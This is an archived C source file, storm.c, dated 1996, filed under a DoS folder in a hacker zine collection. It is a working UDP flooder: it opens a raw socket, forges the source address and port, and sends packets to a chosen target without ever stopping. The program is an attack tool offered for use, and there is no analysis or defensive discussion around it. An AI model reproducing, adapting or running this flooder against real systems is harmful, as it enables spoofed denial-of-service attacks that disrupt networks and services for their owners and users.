home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / storm.c < prev    next >
C/C++ Source or Header  |  1998-12-09  |  3KB  |  45 lines

  1.  
  2.  
  3. #include "tcpip.h"
  4.  
  5. int i=0;
  6.  
  7. void sendpack(char *fromhost, int fromport, char *tohost, int toport)
  8. {
  9.  char *packet;
  10.  char *udppacket;
  11.  static struct sockaddr_in local, remote;
  12.  static int sock = 0;
  13.  int totsent = sizeof(struct iphdr) + sizeof(struct udphdr);
  14.  if (!sock) {
  15.   resolve_address((struct sockaddr *)&local, fromhost, fromport);
  16.   resolve_address((struct sockaddr *)&remote, tohost, toport);
  17.   sock = socket(AF_INET, SOCK_RAW, 255);
  18.   if (sock == -1) {
  19.    perror("Getting raw socket");
  20.    exit(-1);
  21.   }}
  22.   udppacket = create_udp(local.sin_addr.s_addr, remote.sin_addr.s_addr, local.sin_port, remote.sin_port, "this b ten", 10);
  23.   packet = create_ip(local.sin_addr.s_addr, remote.sin_addr.s_addr, 17, 24, 4, udppacket, 30);
  24.  {
  25.  int result;
  26.  result = sendto(sock, packet, totsent, 0, (struct sockaddr *)&remote, sizeof(remote));
  27.  if (result != totsent) {
  28.   perror("sending packet");
  29. }}}
  30.  
  31. main(int argc, char **argv) {
  32.  puts("\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=");
  33.  puts("\033[34ms\033[mt0rm \033[34m1\033[m.0");
  34.  puts("\033[34mW\033[mritten \033[34mb\033[my \033[34mR\033[mza\033[m");
  35.  puts("\033[34mW\033[med \033[34mM\033[may \033[34m2\033[m9 \033[34m0\033[m2:05:54 \033[34mE\033[mST \033[34m1\033[m996");
  36.  puts("\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=");
  37. if (argc!=5) {
  38.  printf("\033[34mu\033[msage\033[34m:\033[m %s \033[34m<\033[msrcaddress\033[34m>\033[m \033[34m<\033[msrcport\033[34m>\033[m \033[34m<\033[mdestaddress\033[34m>\033[m \033[34m<\033[mdestport\033[34m>\033[m\r\n", argv[0]);
  39.  exit(-1);
  40. }
  41. for(;;i++) {
  42. printf("\033[34m#\033[m%d\033[34m:\033[m %s.%d \033[34m->\033[m %s.%d\033[m\r\n", i, argv[1], atoi(argv[2]), argv[3], atoi(argv[4])); 
  43. sendpack(argv[1], atoi(argv[2]), argv[3], atoi(argv[4]));
  44. }}
  45.